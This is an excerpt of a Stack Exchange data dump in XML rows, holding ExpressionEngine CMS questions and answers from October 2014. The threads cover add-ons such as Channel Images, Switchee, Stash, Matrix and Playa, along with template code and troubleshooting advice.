  <row Id="26077" PostTypeId="2" ParentId="26076" CreationDate="2014-10-07T10:11:17.563" Score="0" Body="&lt;p&gt;Ok ... I tried this: Downloaded the Basic Package and replaced in&#xA;themes/third_party/wygwam/lib the folder ckeditor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This seems to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: It does not work. A lot of unexpected occurrences. Would be glad if somebody could help me out :-/&lt;/p&gt;&#xA;" OwnerUserId="780" LastEditorUserId="780" LastEditDate="2014-10-07T10:18:45.753" LastActivityDate="2014-10-07T10:18:45.753" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26078" PostTypeId="2" ParentId="26075" CreationDate="2014-10-07T10:49:31.947" Score="0" Body="&lt;p&gt;The only thing it &lt;em&gt;might&lt;/em&gt; do is encode the ' character into an entity - which is actually rather desirable behaviour in order to prevent issues outputting content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you feeding the offending text to the PHP to be parsed in some way? i.e. it's &lt;em&gt;expecting&lt;/em&gt; the ' character but getting the character entity instead? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are able to edit the PHP templates then you could do a str_replace on the entity being created to turn it back into a '&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-10-07T10:49:31.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26079" PostTypeId="1" AcceptedAnswerId="26085" CreationDate="2014-10-07T10:49:36.357" Score="3" ViewCount="160" Body="&lt;p&gt;Is there a maximum number of images which can be uploaded using Channel Images? We did not set a maximum number per user, but somehow when more than 30 images are uploaded, the images above the 30 will not show on the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The images ARE uploaded and shown in EE. So, if you move image #32 down, it WILL show.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="2136" LastActivityDate="2014-10-07T15:10:35.467" Title="Is there a maximum number of images for Channel Images?" Tags="|channel-images|devdemon|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26080" PostTypeId="1" CreationDate="2014-10-07T13:32:16.920" Score="1" ViewCount="91" Body="&lt;p&gt;I've run out of ideas on how to fix this one. I moved a site to another server, and now the photos don't display. I've moved sites before without a problem. I did the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Confirmed the paths were correct.&lt;/li&gt;&#xA;&lt;li&gt;Checked all folder (777) and file permissions (666).&lt;/li&gt;&#xA;&lt;li&gt;Ran file synchronization.&lt;/li&gt;&#xA;&lt;li&gt;Cleared all caches.&lt;/li&gt;&#xA;&lt;li&gt;Optimized the database.&lt;/li&gt;&#xA;&lt;li&gt;Re-saved some test photos.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;New photos display correctly. When I use my browser to go to the exact path of an old photo, it won't display, even though the path and file permissions are correct. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="2564" LastActivityDate="2014-12-06T20:22:13.867" Title="Moved server, now photos don't display" Tags="|channel-images|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26081" PostTypeId="2" ParentId="26080" CreationDate="2014-10-07T13:52:17.083" Score="0" Body="&lt;p&gt;If you're using a plugin such as CE_Image then ensure your image directories are writeable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If they are, and your server isn't running out of memory (unlikely as it would just fall over if that was the case) then I'd put money on your paths being incorrect (even though you say they're correct) :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know if there is some database setting with Channel Images that needs to be updated.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-10-07T13:52:17.083" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26083" PostTypeId="2" ParentId="26080" CreationDate="2014-10-07T14:40:13.560" Score="0" Body="&lt;p&gt;If using CE Image, it is possible that the relative URL paths don't match the server directory structure. &lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-image/user-guide/common-solutions&quot; rel=&quot;nofollow&quot;&gt;More info&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="646" LastActivityDate="2014-10-07T14:40:13.560" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26084" PostTypeId="2" ParentId="26080" CreationDate="2014-10-07T14:43:15.927" Score="0" Body="&lt;p&gt;That the new photos display correctly but the old ones don't point to the file upload paths have been updated but not synchronized. But you stated that you did synchronize. So perhaps the paths are hard coded in the templates, or even a portion of the path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would inspect the source code of the generated page, check the path to the image and see what errors occur. &lt;/p&gt;&#xA;" OwnerUserId="646" LastActivityDate="2014-10-07T14:43:15.927" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26085" PostTypeId="2" ParentId="26079" CreationDate="2014-10-07T15:10:35.467" Score="1" Body="&lt;p&gt;You need to explicitly set a limit parameter higher than 30 (i.e.: limit=&quot;500&quot;), as Channel Images defaults to 30 max (similar to how EE Channel entries defaults limit to 100):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;http://www.devdemon.com/documentation/tag/images/&quot; rel=&quot;nofollow&quot;&gt;docs&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This parameter limits the number of images on any given page. The&#xA;  limit will default to 30 entries if a value is not specified. If you&#xA;  are using pagination then this will determine the number of entries&#xA;  shown per page.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2014-10-07T15:10:35.467" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26086" PostTypeId="1" CreationDate="2014-10-07T15:13:03.183" Score="0" ViewCount="69" Body="&lt;p&gt;I use in a EE site Structure and Low events. I need to use switchee but I can't find the correct regex for a date format like this: yyyy-mm&#xA;I use quit often this switchee regex: {case value=&quot;#^P(\d+)$#|''&quot;} for paging but I just can't find it for I need: {case value=&quot;yyyy-mm|''&quot;}&lt;/p&gt;&#xA;" OwnerUserId="482" LastActivityDate="2015-05-06T18:14:42.147" Title="switchee and regex" Tags="|structure|regex|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26087" PostTypeId="2" ParentId="26086" CreationDate="2014-10-07T15:39:48.327" Score="1" Body="&lt;p&gt;For a not too specific match try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{case value=&quot;#\d{4}-\d{2}#&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which would match 4 digits ( \d{4} ) then a dash ( - ) then 2 digits ( \d{2} ). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&#xA;Forgot about encoding brackets in switchee regex, one of these should work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{case value=&quot;#\d\d\d\d-\d\d#&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{case value=&quot;#\d&amp;amp;#123;4&amp;amp;#124;-\d&amp;amp;#123;2&amp;amp;#124;#&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The second version replaces the brackets with &lt;code&gt;&amp;amp;#123;&lt;/code&gt; for { and &lt;code&gt;&amp;amp;#124;&lt;/code&gt; for } . &lt;/p&gt;&#xA;" OwnerUserId="1326" LastEditorUserId="1326" LastEditDate="2014-10-08T13:26:00.730" LastActivityDate="2014-10-08T13:26:00.730" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="26088" PostTypeId="2" ParentId="26080" CreationDate="2014-10-07T17:13:44.447" Score="1" Body="&lt;p&gt;It turns out that multiple problems were involved. The list of steps in my original post cleared up some of them, while others were simply the result of people renaming, deleting or overwriting photos on the new site. I guess the devil is in the details.&lt;/p&gt;&#xA;" OwnerUserId="2564" LastActivityDate="2014-10-07T17:13:44.447" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26089" PostTypeId="2" ParentId="26076" CreationDate="2014-10-07T18:54:40.403" Score="0" Body="&lt;p&gt;CKEditor goes through a build process when being integrated into Wygwam adding some custom stuff.  It's not a matter of a simple swap out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We will have to update Wygwam's CKEditor version in the next Wygwam release.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2014-10-07T18:54:40.403" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="26092" PostTypeId="1" CreationDate="2014-10-07T19:57:10.730" Score="1" ViewCount="128" Body="&lt;p&gt;Has anyone migrated from CartThrob to Expresso Store ?&#xA;I have a site using cart throb and we need sales (specials) functionality. This is not handled very will is CartThrob, but Expresso does it nicely.&#xA;So, we are looking to swap carts.&#xA;I was wondering if anyone had done this, and what their experiences (traps, problems, etc) were.&lt;/p&gt;&#xA;" OwnerUserId="3663" LastEditorUserId="159" LastEditDate="2014-10-08T10:31:05.280" LastActivityDate="2016-06-17T22:41:22.960" Title="Migrating from Catrthrob to Expresso" Tags="|expresso-store|cartthrob|migration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26095" PostTypeId="1" CreationDate="2014-10-08T10:10:23.870" Score="1" ViewCount="49" Body="&lt;p&gt;I have a Matrix field which is being used for late availability vacancies for a tourism website. Inside the Matrix field there are two columns, Date and Description.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rows from the Matrix field will be displayed on the front end of the site. However I'm wondering if there is a way to hide a row if the Date field inside the Matrix is expired.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems using &lt;code&gt;show_expired=&quot;no&quot;&lt;/code&gt; won't work as this applies to the entry itslef which won't have expired. It's specifically the Date field inside the Matrix field. If the date on the &lt;strong&gt;row&lt;/strong&gt; is expired, I'd like it not to be displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone shed any light on this please&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1230" LastActivityDate="2014-10-08T11:10:17.290" Title="How can I hide an expired row in a Matrix field?" Tags="|matrix|date|expire|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26097" PostTypeId="1" CreationDate="2014-10-08T10:37:53.003" Score="0" ViewCount="2160" Body="&lt;p&gt;I have created a JS template with this code to output GeoJSON for our Google Maps;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;  &quot;type&quot;: &quot;FeatureCollection&quot;,&#xA;  &quot;features&quot;: [&#xA;    {exp:channel:entries&#xA;        channel=&quot;places&quot;&#xA;    }&#xA;    {&#xA;      &quot;type&quot;: &quot;Feature&quot;,&#xA;      &quot;geometry&quot;: {&#xA;        &quot;type&quot;: &quot;Point&quot;,&#xA;        &quot;coordinates&quot;: [&#xA;          {longitude},&#xA;          {latitude}&#xA;        ]&#xA;      },&#xA;      &quot;properties&quot;: {&#xA;        &quot;name&quot;: &quot;{title}&quot;,&#xA;        &quot;url&quot;: &quot;{url_title}&quot;,&#xA;        &quot;address&quot;: &quot;{addressline1}, {if addressline2}{addressline2}, {/if}{city}, {postalcode}&quot;,&#xA;        &quot;icon&quot;: &quot;/static/markers/place.png&quot;&#xA;      }&#xA;    },{/exp:channel:entries}&#xA;  ]&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, some of the titles have an apostrophe or accented characters, which are being included in the GeoJSON like so;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Bar &amp;amp;#8216;67&#xA;CafÃ© and Bar&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I was wondering if anyone knows how I can correct this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="466" LastActivityDate="2014-12-07T20:42:20.020" Title="JSON Output encoding issue with accented characters and apostrophes" Tags="|json|character-encoding|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26098" PostTypeId="2" ParentId="26062" CreationDate="2014-10-08T11:01:52.510" Score="0" Body="&lt;p&gt;I've come up with a solution. It's a bit more javascript-heavy than I would like, but hey ho.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The user selects the number of places they'd like to book on the course, then clicks 'continue', at which point I use javascript to generate that number of instances of a {exp:store:product} tag pair. Inside the tag pair are the custom modifier fields as well as a hidden field to set a quantity of 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The user completes the form(s) then clicks 'add to cart'.  The 'add to cart' button triggers some javascript, which loops over each of the forms, submitting each one via AJAX.  It then reloads the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The end.&lt;/p&gt;&#xA;" OwnerUserId="2515" LastActivityDate="2014-10-08T11:01:52.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26099" PostTypeId="1" CreationDate="2014-10-08T11:06:39.897" Score="0" ViewCount="45" Body="&lt;p&gt;Client is telling me neither the Playa search or filter function is working for them on any main browser on Win 7. It must be a problem with his PC as I've not been able to reproduce the problem myself. Could it be something to do with Javascript?&#xA;EE v2.7.3&#xA;Playa v4.4.5&lt;/p&gt;&#xA;" OwnerUserId="2024" LastActivityDate="2014-10-08T11:06:39.897" Title="Playa: search function not working" Tags="|playa|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26100" PostTypeId="2" ParentId="26095" CreationDate="2014-10-08T11:10:17.290" Score="2" Body="&lt;p&gt;You can try to use &lt;strong&gt;search:&lt;/strong&gt; parameter with combination with &lt;strong&gt;{current_time}*&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;{my_matrix_field search:date=&quot;&gt;{current_time&quot;}&quot;}&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;usually date fields is keep data in timestamp format, so it must work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Unlike the rest of the Standard Global Variables, &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/globals/single_variables.html#current-time&quot; rel=&quot;nofollow&quot;&gt;{current_time}&lt;/a&gt; is parsed very early on in the Template parser, which allows you to make dynamic use of it in your tags, for instance as a tag parameter, or in a conditional.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="2715" LastActivityDate="2014-10-08T11:10:17.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26101" PostTypeId="1" CreationDate="2014-10-08T13:25:15.637" Score="0" ViewCount="73" Body="&lt;p&gt;I can't get it work. Ik use structure, low events and freebie in a ee website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable=&quot;{segment_3}&quot; parse=&quot;inward&quot;}&#xA;{!-- --------------------------------- All agenda items ----------------------------------------------  --}&#xA;{case value=&quot;''&quot;}&#xA;&#xA;{exp:low_events:calendar channel=&quot;ch_agenda&quot; date=&quot;{freebie_3}&quot;}&#xA;&#xA;{if '{prev_month format=&quot;%Y%m&quot;}' &amp;gt;= '{current_time format=&quot;%Y%m&quot;}'}&#xA;&amp;lt;a href=&quot;{path=&quot;actueel/agenda/{prev_month_url}&quot;}&quot; title=&quot;{prev_month format='%F %Y'}&quot;&amp;gt;&#xA;{exp:low_events:prev_date date=&quot;{freebie_3}&quot; unit=&quot;month&quot; format=&quot;%F %Y&quot;}&amp;lt;/a&amp;gt;{/if}&#xA;&#xA;&#xA;&amp;lt;a href=&quot;{path=&quot;actueel/agenda/{next_month_url}&quot;}&quot; title=&quot;{next_month format='%F %Y'}&quot;&amp;gt;&#xA;{next_month format=&quot;%F %Y&quot;}&amp;lt;/a&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;maand&quot;&amp;gt;&#xA;{this_month format=&quot;%F %Y&quot;}&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;{/exp:low_events:calendar}&#xA;&#xA;{exp:low_events:entries channel=&quot;ch_agenda&quot; date=&quot;{freebie_3}&quot; unit=&quot;month&quot; show_passed=&quot;no&quot; no_results=&quot;yes&quot;}&#xA;&#xA;&amp;lt;h1&amp;gt;&amp;lt;a href=&quot;{url_title_path='actueel/agenda'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h1&amp;gt;&#xA;{agenda_datum:start_date format=&quot;%j %F %Y&quot;}&#xA;{if '{agenda_datum:end_date format=&quot;%j %F %Y&quot;}' &amp;gt; &quot;{agenda_datum:start_date format='%j %F %Y'}&quot;} tot {agenda_datum:end_date format=&quot;%j %F %Y&quot;}{/if} {agenda_plaatst}&#xA;&amp;lt;br /&amp;gt;&#xA;&#xA;&amp;lt;a href=&quot;{page_url}&quot;&amp;gt;read more...&amp;lt;/a&amp;gt;&#xA;&#xA;&#xA;&#xA;{/exp:low_events:entries}&#xA;&#xA;{/case}&#xA;&#xA;{!-- --------------------------------- 1 detail item  ----------------------------------------------  --}&#xA;{case default=&quot;Yes&quot;}&#xA;&#xA;{exp:channel:entries channel=&quot;ch_agenda&quot; limit=&quot;1&quot; dynamic=&quot;yes&quot;}&#xA;&#xA;{if agenda_image != &quot;&quot;}&amp;lt;img src=&quot;{agenda_image:agendaopmaat}&quot; width=&quot;500&quot; alt=&quot;{title}&quot;&amp;gt;{/if}&#xA;&amp;lt;h1 class=&quot;agenda-titel&quot;&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;{agenda_datum:start_date format=&quot;%j %F %Y&quot;}&#xA;{if '{agenda_datum:end_date format=&quot;%j %F %Y&quot;}' &amp;gt; &quot;{agenda_datum:start_date format='%j %F %Y'}&quot;}&#xA; tot {agenda_datum:end_date format=&quot;%j %F %Y&quot;}{/if} {agenda_plaatst}&#xA;{agenda_tekst}&#xA;&#xA;{/exp:channel:entries}&#xA;&#xA;{/case}&#xA;&#xA;{/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I go to agenda I get this URL and what I see is what I want.&#xA;&lt;a href=&quot;http://site.nl/actueel/agenda/&quot; rel=&quot;nofollow&quot;&gt;http://site.nl/actueel/agenda/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Freebie settings I have as Breaking Segments: agenda&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did this to be able to use this link: &lt;code&gt;&amp;lt;a href=&quot;{path=&quot;actueel/agenda/{next_month_url}&quot;}&quot; title=&quot;{next_month format='%F %Y'}&quot;&amp;gt;&lt;/code&gt; without problem with structure.&#xA;I get then this URL: &lt;a href=&quot;http://site.nl/actueel/agenda/2014-11&quot; rel=&quot;nofollow&quot;&gt;http://site.nl/actueel/agenda/2014-11&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I have a problem with my read more… link: &lt;code&gt;&amp;lt;a href=&quot;{page_url}&quot;&amp;gt;read more...&amp;lt;/a&amp;gt;&lt;/code&gt;&#xA;I know it's because of my Freebie settings but how can I get de detail page to work.&lt;/p&gt;&#xA;" OwnerUserId="482" LastActivityDate="2016-06-14T07:15:35.737" Title="Structure with Lowevents and Freebie" Tags="|structure|freebie|low-events|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26102" PostTypeId="1" AcceptedAnswerId="26105" CreationDate="2014-10-08T13:54:51.280" Score="0" ViewCount="85" Body="&lt;p&gt;Having some issues here, not sure if it's even possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Template one lists one entry. I want to set a variable and make its name the entry_id of that entry, to be used to validate on the next template based on the same entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Template two, I want to match a url segment to the variable. But i need to get the variable name from that same entry, so need to use the {entry_id} in the stash get tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am getting funny results, where it only works if the {entry_id} tag apears anywhere inside the channel:entries loop. If i remove that single tag then the conidional always fails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using EEv2.9.2 and Stash 2.5.8&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Template One:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;whitepapers&quot; url_title=&quot;{segment_3}&quot; limit=&quot;1&quot; disable=&quot;categories|member_data|pagination&quot; parse=&quot;inward&quot;}&#xA;&#xA;{exp:stash:set_value name=&quot;{entry_id}&quot; value=&quot;{current_time format=&quot;%d%Y%g%i%s&quot;}&quot; scope=&quot;user&quot; save=&quot;yes&quot;}    &#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Template Two:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        {exp:channel:entries channel=&quot;whitepapers&quot; url_title=&quot;{segment_3}&quot; dynamic=&quot;no&quot; limit=&quot;1&quot; disable=&quot;categories|member_data|pagination&quot; parse=&quot;inward&quot;}&#xA;&#xA;        {exp:stash:parse process=&quot;end&quot;}&#xA;&#xA;        {if &quot;{segment_5}&quot; == &quot;{exp:stash:get name='{entry_id}'}&quot;}&#xA;        success&#xA;        {/if}&#xA;&#xA;    {/exp:stash:parse}&#xA;&#xA;    {exp:stash:parse process=&quot;end&quot;}&#xA;&#xA;        {if &quot;{segment_5}&quot; != &quot;{exp:stash:get name='{entry_id}'}&quot;}&#xA;        fail&#xA;        {/if}&#xA;&#xA;    {/exp:stash:parse}&#xA;&#xA;{!-- ALWAYS FAIL'S UNLESS THE {entry_id} TAG APPEARS IN THIS CHANNEL ENTRIES LOOP ANYWHERE --}&#xA;&#xA;        {/exp:channel:entries}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="541" LastActivityDate="2014-10-08T16:43:43.860" Title="Setting Stash name as {entry_id}" Tags="|stash|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26103" PostTypeId="1" AcceptedAnswerId="26120" CreationDate="2014-10-08T14:34:13.347" Score="0" ViewCount="49" Body="&lt;p&gt;Is there any way to preserve leading zeros when using the text input field type? This is getting truncated. :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;0010250107 -&gt; 10250107&lt;/p&gt;&#xA;" OwnerUserId="383" LastActivityDate="2014-10-09T07:48:47.057" Title="Leading Zeros in Text Input Fieldtype" Tags="|fieldtype|entries|text-formatting|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26104" PostTypeId="1" AcceptedAnswerId="26111" CreationDate="2014-10-08T15:26:10.627" Score="2" ViewCount="63" Body="&lt;p&gt;I have a product section. When I create a product entry, I select related product entries via a Playa field. I can get this to display as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have now added a matrix field on the product entry page that allows me to upload multiple product images for a specific entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I view a product entry on the front end, the related products display as expected except for the images. All related products show the image from the main entry page they are currently visiting. Not the image for the entry that is related. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I end up with a number of related products all sharing the same image. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure where to go from here. Any help would be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Here's the code&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;products&quot;}&#xA;                            {related_products} &amp;lt;!--THIS IS THE PLAYA FIELD FOR RELATED PRODUCTS--&amp;gt;&#xA;                                &amp;lt;div class=&quot;col-md-12&quot;&amp;gt;&#xA;                                    &amp;lt;div class=&quot;item product&quot;&amp;gt;&#xA;                                        &amp;lt;div class=&quot;product-thumb-info&quot;&amp;gt;&#xA;&#xA;                                            &amp;lt;div class=&quot;product-thumb-info-image&quot;&amp;gt;&#xA;                                                &amp;lt;span class=&quot;product-thumb-info-act&quot;&amp;gt;&#xA;                                                    &amp;lt;a href=&quot;{exp:transcribe:uri path=&quot;paint/product/{url_title}&quot;}&quot; title=&quot;{title}&quot; class=&quot;view-product&quot;&amp;gt;&#xA;                                                        &amp;lt;span&amp;gt;&amp;lt;i class=&quot;fa fa-external-link&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/span&amp;gt;&#xA;                                                    &amp;lt;/a&amp;gt;&#xA;                                                &amp;lt;/span&amp;gt;&#xA;                                                &amp;lt;a href=&quot;{exp:transcribe:uri path=&quot;paint/product/{url_title}&quot;}&quot;&amp;gt;&#xA;                                                    {product_image limit=&quot;1&quot;} &amp;lt;!--THIS IS THE MATRIX FIELD FOR THE IMAGES--&amp;gt;&#xA;                                                        &amp;lt;img alt=&quot;{title}&quot; title=&quot;{title}&quot; class=&quot;img-responsive&quot; src=&quot;{main_product_image}&quot;&amp;gt;&#xA;                                                    {/product_image}&#xA;                                                &amp;lt;/a&amp;gt;&#xA;                                            &amp;lt;/div&amp;gt;&#xA;&#xA;                                            &amp;lt;div class=&quot;product-thumb-info-content&quot;&amp;gt;&#xA;                                                &amp;lt;span class=&quot;price pull-right&quot;&amp;gt;{sizes_available}&amp;lt;/span&amp;gt;&#xA;                                                &amp;lt;h4&amp;gt;&amp;lt;a href=&quot;{exp:transcribe:uri path=&quot;paint/product/{url_title}&quot;}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h4&amp;gt;&#xA;                                                &amp;lt;span class=&quot;item-cat&quot;&amp;gt;&amp;lt;small&amp;gt;&amp;lt;a href=&quot;{exp:transcribe:uri path=&quot;paint/product/{url_title}&quot;}&quot;&amp;gt;{paint_type}&amp;lt;/a&amp;gt;&amp;lt;/small&amp;gt;&amp;lt;/span&amp;gt;&#xA;                                            &amp;lt;/div&amp;gt;&#xA;                                        &amp;lt;/div&amp;gt;&#xA;                                    &amp;lt;/div&amp;gt;&#xA;                                &amp;lt;/div&amp;gt;&#xA;                            {/related_products}&#xA;                        {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="311" LastActivityDate="2014-10-15T15:34:51.577" Title="Matrix images that are being pulled in via a Playa (Related Products) field" Tags="|ee2|matrix|playa|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26105" PostTypeId="2" ParentId="26102" CreationDate="2014-10-08T15:34:19.767" Score="0" Body="&lt;p&gt;Try adding scope=&quot;user&quot; to your stash:get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_5 == &quot;{exp:stash:get name='{entry_id}'}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Don't think you need to add quotes &amp;amp; brackets for segment_5 for 2.9+, or parse=&quot;inward&quot; for your outer channel:entries.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that doesn't work, also try without wrapping with stash:parse, or at least take off the process=&quot;end&quot; so that the conditional is parsed inline instead. &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Version 1 or 2 below should work. The first grabs the stash variable but doesn't output it, so it's available for the conditionals. The second is if you use &lt;a href=&quot;http://devot-ee.com/add-ons/switchee&quot; rel=&quot;nofollow&quot;&gt;Switchee&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries &#xA;    channel=&quot;whitepapers&quot; &#xA;    url_title=&quot;{segment_3}&quot; &#xA;    dynamic=&quot;no&quot; &#xA;    limit=&quot;1&quot; &#xA;    disable=&quot;categories|member_data|pagination&quot;&#xA;}&#xA;&#xA;    {!--version 1:--}&#xA;    {exp:stash:get name='{entry_id}' scope='user' output=&quot;no&quot;}&#xA;&#xA;    {if segment_5 == &quot;{exp:stash:get name='{entry_id}'}&quot;}&#xA;        success&#xA;    {/if}&#xA;&#xA;    {if segment_5 != &quot;{exp:stash:get name='{entry_id}'}&quot;}&#xA;        fail&#xA;    {/if}&#xA;&#xA;    {!--version 2:--}&#xA;    {exp:switchee variable=&quot;stash:{entry_id}&quot; parse=&quot;inward&quot;}&#xA;        {case value=&quot;{segment_5}&quot;}&#xA;            match&#xA;        {/case}&#xA;        {case default=&quot;yes&quot;}&#xA;            no match &#xA;        {/case}    &#xA;    {/exp:switchee}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1326" LastEditorUserId="1326" LastEditDate="2014-10-08T16:43:43.860" LastActivityDate="2014-10-08T16:43:43.860" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
